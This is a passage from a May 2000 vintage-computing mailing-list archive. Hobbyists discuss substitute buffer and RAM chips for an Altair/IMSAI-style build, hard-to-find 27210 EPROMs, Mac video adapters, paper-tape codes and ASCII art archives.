(emanuel stiebler) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question References: <200005222239.PAA26095@shell1.aracnet.com> Message-ID: <043401bfc440$e5ef4ec0$5d01a8c0@p2350> From: > Actually I'm stuborn enough I'd like to manage it myself, as that's part of > how I justify all this equipment to myself :^) And I wanted to have a use for it ;-) > However, if I continue to fail I'll keep the offer in mind. Was exactly what I meant ! ;-) cheers, emanuel From oliv555 at arrl.net Mon May 22 17:57:26 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:54 2005 Subject: Vancouver, Cal's Computer Warehouse? References: <200004302246.RAA05679@opal.tseinc.com> Message-ID: <3929BB56.643C4C52@arrl.net> I was in Vancouver most of last week and visited Cals. A typical used computer and parts store, though rather pricey, I thought. They had 15 Vaxstaions (KA42's) listed for $199 each. A nice collection of new and vintage computer books (picked up a VAx book for 3 bucks). They did have a nice display of classic PeeCee's near the entrance, no prices listed (probably for good reason). Bunch of other used PC's & Macs also overpriced. Good eats at the Flying Beaver, an aviaton crowd hangout sitting at a seaplane dock. Nick Mike Ford wrote: > Anybody up in Vancouver familiar with this place? > > They have a service manual for my NEC Silentwriter 2 model 90 on eBay right > now, but I am also curious about them in general. > > http://www.goseecal.com/ > > Cal's Computer Warehouse Inc. > 3083 Grandview Hwy. > Vancouver, B.C., V5M 2E4 > Canada > > Tel: 604-437-5551 > Fax: 604-437-5552 From richard at idcomm.com Mon May 22 18:40:09 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <001d01bfc447$125d74e0$0400c0a8@winbook> Forgive me for jumping in here, but the '373 is in no way similar to the 8T97. The 373 is a transparent latch with tristate outputs, i.e. a storage element, whereas the 8T97 is a tristate buffer, in this case two sharing one enable and the remaining four sharing the other. It's output is heftier than the otherwise identical 74367. Though it's somewhat of an oversimplification, the Signetics (that's who first made 'em) 8T series had inputs pretty much like the LS parts, yet had outputs like the schottky series parts. If you're building an Altair work-alike, yet not bent on using the same parts, I'd certainly recommend you use the 74ACT or even AC series if you can get them. They have completely symmetrical outputs, i.e. drive upward as hard as they pull downward, hence have more easily controllable impedance, hence will make nicer waveforms on the backplane. What's more, I'd recommend you look into the more up-to-date AC terminations for the bus, as opposed to the rather poor active DC termination that was promoted after people got the idea that there was trouble on the bus. Almost any AC termination together with symmetrical bus drivers as I've suggested, will improve the behavior of the bus much more than the passive or active DC terminations that were popular in the '70's. You may find it's easier to use 8-bit-wide parts for bus drivers/receivers, e.g. 74AC244's instead of 8T97's. You get two 4-bit buffers per package, but they're really better than the 8T97's. The fact that they're built in multiples of 4 bits wide makes them handier than the 6-bit 8T97's. Good luck! Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Monday, May 22, 2000 10:05 AM Subject: Altair parts substitutions > It's that time of year again, when I think about designing an Altair/IMSAI > work-alike. Now that I have the ability to generate schematics/layouts, I > may actually try it. > > Anyway, some parts have become scarce, so I would have to use substitutes. > For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > the 8T97 is an LS373 without the inverter on the gate *and* is faster and > has a higher drive current. I've heard that the MC6887 is a sub, but I can't > find a datasheet on it. > > The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 > which looks like a likely sub. I would forego this type for a larger SRAM, > but I guess that it too would have to be dual-ported. I need to look at the > schematics for an S100 memory board. > > Someone on-list did a design for his own clone, but I can't remember who it > is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. > > > Rich > From ard at p850ug1.demon.co.uk Mon May 22 19:07:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions In-Reply-To: <001d01bfc447$125d74e0$0400c0a8@winbook> from "Richard Erlacher" at May 22, 0 05:40:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 768 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/69f37bf1/attachment-0001.ksh From dpeschel at eskimo.com Mon May 22 19:34:04 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:54 2005 Subject: When new advertising meets old computers Message-ID: <200005230034.RAA27201@eskimo.com> Target put a multipage color catalog in last Sunday's paper. The catalog combines full-page photos of people using outdoor toys (bicycles, snorkels, tents, etc.) with photos of the toys against garish solid-color backgrounds. Although the effect is rather unsettling (Life magazine meets Wired?) the strangest part is the image of *six-hole paper tape* that marches across the middles of all the pages. Obviously old computers have some sort of hold on our culture, though it could just be as an abstract design cliche. I haven't yet decoded the tape (if it says anyhthing at all). Luckily I just got _Computers and Typesetting_ which covers plenty of obscure typesetting codes (which is the only area I know of in which six-hole tape ever became popular). For non-US people: Target is a large "buy everything here" store, fancier than K Mart or Wal-Mart but still rather cheap. My mom sarcastically called it "Tar-ZHAY", as in the French pronounciation, for a while. :) -- Derek From richard at idcomm.com Mon May 22 20:06:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions References: Message-ID: <000901bfc453$3768adc0$0400c0a8@winbook> Please see embedded remarks below. Dick ----- Original Message ----- From: Tony Duell To: Sent: Monday, May 22, 2000 6:07 PM Subject: Re: Altair parts substitutions > > > > Forgive me for jumping in here, but the '373 is in no way similar to the > > 8T97. The 373 is a transparent latch with tristate outputs, i.e. a storage > > True... > > > element, whereas the 8T97 is a tristate buffer, in this case two sharing one > > However, it is _possible_ to use a '373 as a 3-state buffer. You tie the > enable to whichever state (high?) makes it transparent (rather than > holding the last value), apply the inputs to the D pins, put Q to the bus > and control it with the OE/ line. > Yes, but given that there are parts available that are more suitable, as he's building a new device this time, I'd say it is probably preferable that a tristate buffer be used instead of a transparent latch. I've seen this sort of thing, but the advantage in using a '244, for example, is that it, when used as a receiver, has schmidt-trigger inputs, which yields better noise immunity, and when used as a driver, sources and sinks, in the CMOS case, 24mA, while the LS has widely varying parameters, depending on the maker, but you can rely on the output low (sink) current being at least twice the output high (source) current. > > I don't recomend this (the output drive capability is not that good for > one thing), but I did use it one in an emergency when I had to make an > input port for a microcomputer (a TRS-80 model 1 IIRC) in a hurry and I > didn't have any 3-state buffers in stock. > > -tony > with CMOS bus buffers you needn't worry so much about the source and sink current. The CMOS doesn't dc-load the bus, though it does put a bit of AC-load in the form of capacitance on it. The great thing about AC terminations is that they put a capcitance in the transient state in parallel with the load capacitance. I'll let you work out the details, but it does improve things, as anyone who's hung a 'scope on and watched a few million transitions will tell you. They're not always textbook perfect, but VERY close to it! Dick From allisonp at world.std.com Mon May 22 17:22:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions Message-ID: <006801bfc44c$9e3475e0$7164c0d0@ajp166> >> Anyway, some parts have become scarce, so I would have to use substitutes. >> For example, Jameco no longer carries the 8T97 buffer/driver. As I recall >> the 8T97 is an LS373 without the inverter on the gate *and* is faster and > >I thought that the 74LS367 and 74LS368 (the latter being the inverting >one) were almost direct substitutes. I think the 8Txx parts can drive a >heavier load, but I doubt if this will cause problems in an Altair/Imsai Tony is right. 8t97 and 8t98 are close to the 74LS367 and 74ls368 in drive and exactly the same pinout. >The '373 is an octal transparent latch (with 3-state outputs) and is not >the same thing at all. the '373 wasn't available when the altair was new. >> has a higher drive current. I've heard that the MC6887 is a sub, but I can't >> find a datasheet on it. >> >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 >> which looks like a likely sub. I would forego this type for a larger SRAM, That would work, the difference is the 5101 is cmos and the 8101 is mos. >I can't find the 8101 on any of the S100 card schematics I've looked at, >so I wonder what on earth it was used for. try 2101. the first ram card was a 256byte one using 256x4 parts if memeory serves. The denser cards were 2107/TMS4060 4kx1 Dram based. He may have meant seperate Input and output like the 2102 (1kx1). Allison From allisonp at world.std.com Mon May 22 17:33:03 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions Message-ID: <006901bfc44c$9f029b50$7164c0d0@ajp166> >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 >> which looks like a likely sub. > >Check the timing specs; the 5101 might be slower. To run at 8080/2mhz it needs to be 600ns or better. In 1975 5101s were typically 1000ns or the fast ones at 850. > >Also, 8101 is just a different marketing designation for 2101, just like >8702 for 1702, etc. The 2101 should be easier to find. > >Apparently Intel's marketing people didn't think that engineers would be >able to figure out that their standard RAM, ROM, PROM, and EPROM >products would work with the 8080, so they introduced 8xxx-series part >numbers for them. No, not quite. It was a marketing thing to "bundle" parts with like numbers to indicate compatability for sales. The best of those was the 8205 that was really a 74138 but intel kept claiming it was a similar but gltich free part. I cracked one open to prove a point and th intel part was a TI 74138 die. Kitting, the name used by those in the trade back then was intels way of insuring they didn't get cherry picked for the 8224 and 8212 while AMD got the 8080 order along with someone else getting the ram order. Allison From rcini at msn.com Mon May 22 20:19:29 2000 From: rcini at msn.com (Richard A. Cini) Date: Sun Feb 27 18:52:55 2005 Subject: OT: Font needed TELETYPE.TTF Message-ID: Hello, all: In the process of repeatedly restoring various betas of Win98 et. al., I seemed to have deleted my copy of the Teletype TrueType font that someone made. If someone has this, could they please send it to me. Thanks. Rich [ Rich Cini [ ClubWin!/CW1 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ <================ reply separator =================> From elvey at hal.com Mon May 22 20:27:16 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005230127.SAA05666@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > It's not a dual-ported device. Hi No, it is not dual ported but it has separate input and output ports and not a bidi bus. Dwight From richard at idcomm.com Mon May 22 20:42:36 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions References: <006801bfc44c$9e3475e0$7164c0d0@ajp166> Message-ID: <001501bfc458$2d5b7d80$0400c0a8@winbook> The drive on the 'LS367 depends somewhat on whose it is. The 8T97, according to my '78 SIGNETICS (they made them, after all) data book says it sinks 64mA! That's quite a bit more than the 16 mA of the typcial LS367, though Motorola claims their LS367 sinks 24 mA. It's hard to know what to believe. That's one reason I prefer the CMOS parts, particularly the AC from Fairchild/National, or the AHCT from Samsung. They drive at least plenty, symmetrically at that, and the fanout is on the order ot 10^3. Dick ----- Original Message ----- From: allisonp To: Sent: Monday, May 22, 2000 4:22 PM Subject: Re: Altair parts substitutions > >> Anyway, some parts have become scarce, so I would have to use > substitutes. > >> For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > >> the 8T97 is an LS373 without the inverter on the gate *and* is faster and > > > >I thought that the 74LS367 and 74LS368 (the latter being the inverting > >one) were almost direct substitutes. I think the 8Txx parts can drive a > >heavier load, but I doubt if this will cause problems in an Altair/Imsai > > > Tony is right. 8t97 and 8t98 are close to the 74LS367 and 74ls368 > in drive and exactly the same pinout. > > >The '373 is an octal transparent latch (with 3-state outputs) and is not > >the same thing at all. > > > the '373 wasn't available when the altair was new. > > >> has a higher drive current. I've heard that the MC6887 is a sub, but I > can't > >> find a datasheet on it. > >> > >> The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a > 5101 > >> which looks like a likely sub. I would forego this type for a larger > SRAM, > > > That would work, the difference is the 5101 is cmos and the 8101 is mos. > > >I can't find the 8101 on any of the S100 card schematics I've looked at, > >so I wonder what on earth it was used for. > > > try 2101. the first ram card was a 256byte one using 256x4 parts if > memeory serves. > The denser cards were 2107/TMS4060 4kx1 Dram based. > > He may have meant seperate Input and output like the 2102 (1kx1). > > Allison > > > From richard at idcomm.com Mon May 22 20:44:55 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions References: <200005230127.SAA05666@civic.hal.com> Message-ID: <001f01bfc458$82c555c0$0400c0a8@winbook> please see my remarks below. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Monday, May 22, 2000 7:27 PM Subject: Re[2]: Altair parts substitutions > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > > It's not a dual-ported device. > > Hi > No, it is not dual ported but it has separate > input and output ports and not a bidi bus. > Dwight > IIRC, that's the difference between the 2101 and the 2112. The 2112 has the bidirectional bus. From allisonp at world.std.com Mon May 22 19:23:32 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:55 2005 Subject: When new advertising meets old computers Message-ID: <007a01bfc459$20901470$7164c0d0@ajp166> >I haven't yet decoded the tape (if it says anyhthing at all). Luckily I >just got _Computers and Typesetting_ which covers plenty of obscure >typesetting codes (which is the only area I know of in which six-hole tape >ever became popular). Check out BAUDOT code used for the old mod 15 teleprinters and reperforators. those were 5level code with a shift character. Commonly used for TTY services like Western Union and Hams. Allison From SUPRDAVE at aol.com Mon May 22 21:44:11 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:55 2005 Subject: Mac IIcx video connection Message-ID: <75.47eada8.265b4a7b@aol.com> In a message dated 5/22/00 10:02:40 AM Eastern Daylight Time, foxvideo@wincom.net writes: > > The video card ic an Apple Computer Inc. 820-0198-A7 Mackintosh II Video > Card. > It was packed separately from the computer, and condition is unknown. > The story here is that a couple of friends closed up their repair > business, and yesterday contributed a van load of computers and other odds > and ends to my collection. I have had no Mac experience, the only other one > in the collection is a Mac +, so don't really know what I am doing. I would > like to make an adapter to go from the Mac 15 pin video,(size of a game > port) to a standard VGA monitor. i have a 4 bit video card in my cx, and i tried one of those cable adaptors that allows a mac to use a vga monitor. the best i could get was a rolling screen that was green to due to the sync on green signal not connected right. i do have a ci that uses an adaptor and successfully worked with a nec multisync display. only thing i can suggest is get one of those video cable connectors for macs with all the dip switches, and a multisync monitor and try various combinations to see if it works. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From jfoust at threedee.com Mon May 22 21:54:22 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:55 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222241.RAA14736@caesar.cs.umn.edu> References: Message-ID: <4.3.0.20000522215023.021e43e0@pc> At 05:41 PM 5/22/00 -0500, Lawrence LeMay wrote: >I could make a single Tar file out of em, and put it on a web site for a >day or so for you to grab it... or maybe mail you some floppy disks. >Now if I could just get a hold of a wide carriage printer that can do >overstrikes and uses 11x17, or 11x14 or whatever the correct size is... >of course, a DecWriter III is perfect for printing these... Too bad I >dont have the space for one. I'm slowed by sloth, too. I've been meaning to get around to putting up all the ASCII files to match the images I have on my site, and to generate images for the entire collection, but it's time-consuming and hand-laborious. As explained on my page, I've made a simple C tool that translates at least one variety of overstrike ASCII into an Adobe Illustrator file, which easily imports into PhotoShop, thereby rasterizing into a web-friendly bitmap. Of course, Illustrator will also do a nice job of printing the art on any laser printer, including the tricky job of tiling the pieces. I still harbor the fantasy that I could make a zillion dollars by firing up the ASR-33 in the basement to crank out RARE ORIGINAL ASCII art posters that could be sold on eBay. - John From healyzh at aracnet.com Mon May 22 22:12:18 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:55 2005 Subject: OT: Show how old you are with printer/punch card control In-Reply-To: <4.3.0.20000522215023.021e43e0@pc> from "John Foust" at May 22, 2000 09:54:22 PM Message-ID: <200005230312.UAA26408@shell1.aracnet.com> > I still harbor the fantasy that I could make a zillion dollars > by firing up the ASR-33 in the basement to crank out RARE ORIGINAL > ASCII art posters that could be sold on eBay. > > - John > Forget eBay, find a Art Gallery. Get the right Gallery in the right area and you could probably make even more than on eBay. Good Grief, this is a scary though! Zane From Glenatacme at aol.com Mon May 22 22:14:43 2000 From: Glenatacme at aol.com (Glenatacme@aol.com) Date: Sun Feb 27 18:52:55 2005 Subject: Need Software. Message-ID: Please see reply below. In a message dated 05/22/2000 6:47:22 PM Eastern Daylight Time, netsurfer_x1@hotmail.com writes: > f it would be possible, could somebody please send me (via snail mail) > MS-DOS programs that will work on my Sharp PC-7000. I am asking because the > 5.25" drive in our computer is not completely compatible in DSDD mode (it is > > a 1.2 Mb drive), and all of my tries to transfer programs have been > unsuccessful, so I have decided to give up & go here. > > A word of warning, the Sharp does not have a hard drive, so I'll need > programs that will run off one or two floppy disks. I have a variety of ancient DOS-based software on 5.25" diskettes -- mostly 360 KB. Not being familiar with your Sharp machine, I have to ask: how much RAM does it have, and what version of DOS is it running? And what sort of programs are you looking for? Glen 0/0 From dpeschel at eskimo.com Mon May 22 23:35:37 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:55 2005 Subject: When new advertising meets old computers In-Reply-To: <007a01bfc459$20901470$7164c0d0@ajp166> from "allisonp" at May 22, 2000 08:23:32 PM Message-ID: <200005230435.VAA10180@eskimo.com> > >I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > >just got _Computers and Typesetting_ which covers plenty of obscure > >typesetting codes (which is the only area I know of in which six-hole tape > >ever became popular). > > Check out BAUDOT code used for the old mod 15 teleprinters and > reperforators. > those were 5level code with a shift character. Commonly used for TTY > services > like Western Union and Hams. I can clearly see that this is a 6-level tape, so Baudot wouldn't be the answer. (I seem to recall, though, that some of the 6-level codes were modified from Baudot, either using the extra hole in place of the shift character or using it for marking capital or lower case letters. All caps are fine for telegrams but not for book printing.) -- Derek From kyrrin at bluefeathertech.com Tue May 23 00:16:26 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:55 2005 Subject: Back, I'm back... Message-ID: <3929B1BA.24052.1FA44B43@localhost> Ok, to anyone who might have tried to mail me over the weekend, only to have it bounce back in their face, my apologies. I just finished getting Blue Feather's domain relocated to USWest.net. The only thing that's still down at the moment is my web site, and I expect that to be taken care of Tuesday morning. The move to USW is a temporary one until I can get my own servers up and running. After that point, I'll not be depending on USW for anything more than the DSL pipe and DNS service. You may now return to your regularly-scheduled looniness. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From cmcmanis at mcmanis.com Tue May 23 02:11:34 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware Message-ID: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> The good news is that I took apart my VLC, pulled out the two EPROMs holding the firmware and successfully read them out and saved them to a file on disk. The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. Apparently these weren't popular enough to either make it into the "mainstream" or into over stock :-(. Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web site claimed they had them but the order failed and said "call customer service" :-0. So there you go, a "valuable" IC for those with VLC's. --Chuck From elmo at mminternet.com Tue May 23 02:10:38 2000 From: elmo at mminternet.com (Eliot Moore) Date: Sun Feb 27 18:52:55 2005 Subject: Free in Socal: DEC PCXCV-B2 VGA Monitors Message-ID: <392A2EEC.693E6460@mminternet.com> I have two Digital VGA monitors destined for the curbside. Help me avoid carrying them down the stairs. They're only standard VGA resolution, but they're pretty, and they'll mate nicely with your lpv's or other DEC PC's. And yes, with mfg date of 1992, they're _almost_ classic. Regards, Eliot (Santa Monica) From RCini at congressfinancial.com Tue May 23 07:50:52 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> This is what I meant exactly - no bi-directional data bus. I'm guessing that there is a fine distinction between dual-ported and separate input and output busses... Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Dwight Elvey [mailto:elvey@hal.com] Sent: Monday, May 22, 2000 9:27 PM To: classiccmp@classiccmp.org Subject: Re[2]: Altair parts substitutions ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > In any case, the 5101 is (AFAIK) just a single-ported 256*4 CMOS RAM. > It's not a dual-ported device. Hi No, it is not dual ported but it has separate input and output ports and not a bidi bus. Dwight From RCini at congressfinancial.com Tue May 23 08:35:42 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:55 2005 Subject: Teleprinter Font Message-ID: <497A9E0467D2D2119B760090271EB8E50E9157@MAIL10> I found a copy...on a low-used laptop. Thanks. Rich From allisonp at world.std.com Tue May 23 08:47:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: it can be faked with a pair of 27512s(64kx8) or larger on a header. In the mean time failed cards might be used for spares. Allison On Tue, 23 May 2000, Chuck McManis wrote: > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. From jott at saturn.ee.nd.edu Tue May 23 09:16:42 2000 From: jott at saturn.ee.nd.edu (John Ott) Date: Sun Feb 27 18:52:55 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222241.RAA14736@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Mon, May 22, 2000 at 05:41:52PM -0500 References: <200005222241.RAA14736@caesar.cs.umn.edu> Message-ID: <20000523091642.C9723@saturn.ee.nd.edu> Hello - I would be interested in the tar file also. Please post the web site when it's available. Thanks. john On Mon, May 22, 2000 at 05:41:52PM -0500, Lawrence LeMay wrote: > > > > Lawrence, if you still have your archive of ASCII art online I'd like to > > know about it. Also, if there are any other archives on the web that > > anyone knows about please post the URLs. > > > > Sellam International Man of Intrigue and Danger > > I have it online, but not currently available. if you have someplace that > we can make this stuff available, then that would be great. > > Working at a University, I have to be extremely concerned about political > correctness... We cant have our public dollars spent to let little johnnie > print out ASCII pictures of girls, now can we? > > The main files, which are huge multi-overstrike, and often multi columns of > wide fanfold paper in size (ie, for pictures like Mr Spock, or the > Golden Gate bridge), originally came from an old Magtape. Lately I > keep them in unix compress form, and they fit on 2 high density floppies > along with IBM dos binaries of a uncompress program. > > I could make a single Tar file out of em, and put it on a web site for a > day or so for you to grab it... or maybe mail you some floppy disks. > > Now if I could just get a hold of a wide carriage printer that can do > overstrikes and uses 11x17, or 11x14 or whatever the correct size is... > of course, a DecWriter III is perfect for printing these... Too bad I > dont have the space for one. > > -Lawrence LeMay -- ************************************************************************ * * * * John Ott * Email: jott@saturn.ee.nd.edu * * Dept. Electrical Engineering * * * 275 Fitzpatrick Hall * * * University of Notre Dame * Phone: (219) 631-7752 * * Notre Dame, IN 46556 USA * * * * * ************************************************************************ From rigdonj at intellistar.net Tue May 23 10:34:15 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:55 2005 Subject: DEC stuff 11/73 Message-ID: <3.0.1.16.20000523103415.3d0f25f0@mailhost.intellistar.net> Will the guy that made me an offer on the 11/73 contact me again? I lost your address. E-mail me directly. Joe From xds_sigma7 at hotmail.com Tue May 23 09:37:18 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts and the like Message-ID: <20000523143718.12051.qmail@hotmail.com> Hi, Well if whoever was building the thing really wants to use 8T97's, I have 15 of 'em... Let me know if you're interested. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From RCini at congressfinancial.com Tue May 23 10:30:43 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts and the like Message-ID: <497A9E0467D2D2119B760090271EB8E50E9159@MAIL10> Thanks for the 8T97 offer. My goal for this project would be to make for myself an 8080-based SBC using modern parts and having some sort of front panel. I have no illusions of reproducing an Altair or IMSAI. Just thinking about this a little...maybe I could take Claus Guiloi's Altair "emulator" code and connect a virtual terminal to it. I have a dot-matrix printer font and a teletype font...hmmm...this is more interesting. Rich -----Original Message----- From: Will Jennings [mailto:xds_sigma7@hotmail.com] Sent: Tuesday, May 23, 2000 10:37 AM To: classiccmp@classiccmp.org Subject: Altair parts and the like Hi, Well if whoever was building the thing really wants to use 8T97's, I have 15 of 'em... Let me know if you're interested. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From emu at ecubics.com Tue May 23 10:42:04 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <018b01bfc4cd$72f34ab0$5d01a8c0@p2350> From: Chuck McManis > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. Which manufacturer ? > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. Mine VLC have all 27c1024 in them. I ordered/got this parts without any problems few weeks ago. > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. You probably asked the wrong questions ;-) cheers, emanuel From jeff.kaneko at juno.com Tue May 23 11:14:14 2000 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour Message-ID: <20000523.111414.-197469.0.jeff.kaneko@juno.com> How many of you are irritated by the personal questions asked by Radio Shack salespeople when you go there to buy parts for *your* classic computer? I got this message from one of the guys here at work. I think he has the answer. . . . Jeff --------------------- Attached Message Follows -------------------- Date: Mon, 22 May 2000 18:49:29 -0500 To: "jeff.kaneko" , From: Sender: Reply-To: Importance: normal Priority: normal X-Mailer: cc:Mail POP3 Server v8.30.00.4 X-MIME-Engine: v0.58 Subject: Radio Shack Experience Radio Shack Experience Do these guys at Radio Shack ever get on your nerves, asking you for a bunch of personal data when you're just there to buy something as simple as a couple AA batteries? I think we should inconvenience these people as much as they do us. A while ago I was in Enid buying a printer cable adapter and the guy asked me for my name. "Ghosseindhatsghabyfaird-johnson," I replied. (blank look of confusion) "How do you spell that?" he asked, obviously not wanting to know. "With a hyphen," I clarified. "Once more?" he asked. "Ghosseindhatsghabyfaird-johnson" "Could you please spell that?" he asked, glancing at the half dozen people waiting behind me. "Oh... just like it sounds," I said nonchalantly. Putting down "Johnson," he went on and asked about the address. "Washburn, Wisconsin, 14701 N.E. Wachatanoobee Parkway, Complex 3, Building O, Appt. 1382b," I replied. Almost through writing all this down, I said, "Or did you mean current address?" Stopping, he said, (becoming irritated) "Yes. Current address." "Diluthian Heights, Mississippi, 1372 S. Tinatonabee Avenue, Building 14C, Suite 2, Box 138201," I replied quite slowly. Waiting until he finished I said, "No, wait, it's NORTH Tinatonabee Avenue." Annoyed, he backed up and changed it. "I think," I interjected. "And is all this correct?" he asked in a standard manner. "Of course not," I replied, leaving, "If you want my REAL name and address, look at the damned credit card receipt." little mean, I must admit, but no jury would convict me... at least, none that had been to Radio Shack. ___________________________________________________________________ Try this next time your at R/S, Tim McEnulty Director - Business Development Defense Products Group ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From xds_sigma7 at hotmail.com Tue May 23 11:19:39 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware Message-ID: <20000523161939.51556.qmail@hotmail.com> OK, I tried to send this direct to Chuck, but the e-mail bounced... anyway, I have 7 D27210's, all Intel, new in the tubes... Ironically, I got them from a former DEC engineer ;p If anyone needs some, let me know. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From allisonp at world.std.com Tue May 23 11:28:18 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts and the like In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9159@MAIL10> Message-ID: > Thanks for the 8T97 offer. My goal for this project would be to make for > myself an 8080-based SBC using modern parts and having some sort of front > panel. I have no illusions of reproducing an Altair or IMSAI. The real work of making a SBC with front pannel is literally the front pannel. There are a lot of switches, leds and drivers required. A software front pannel like the H8 is far less hardware. Also you don't need the old parts if you not building an ALTAIR/IMSAI at the schematically identical level. If you want functionally identical and still S100 then 74HCT or even 74LS parts of late origin are a better bet. From the block diagram level it makes little difference if a buffer is 1/6th of a 8t97 or 1/8th of a 74hct244. Same applies to the latches used. Using the octal vs hex parts will save a few chips. Also as a point I"d do the IMSAI as the altair design was bad on a good day. Too many oneshots and the FP connected to the bus via a bundle of wires (some over a foot long) making the bus noise worse. IMSAI was design with the front pannel plugging into a S100 slot directly and was cheaper, cleaner and more reliable as a result. Allison From wilson at dbit.dbit.com Tue May 23 11:34:22 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10>; from cmcmanis@mcmanis.com on Tue, May 23, 2000 at 12:11:34AM -0700 References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <20000523123422.A22900@dbit.dbit.com> On Tue, May 23, 2000 at 12:11:34AM -0700, Chuck McManis wrote: > The bad news is that the EPROMs are 27210's (64K X 16 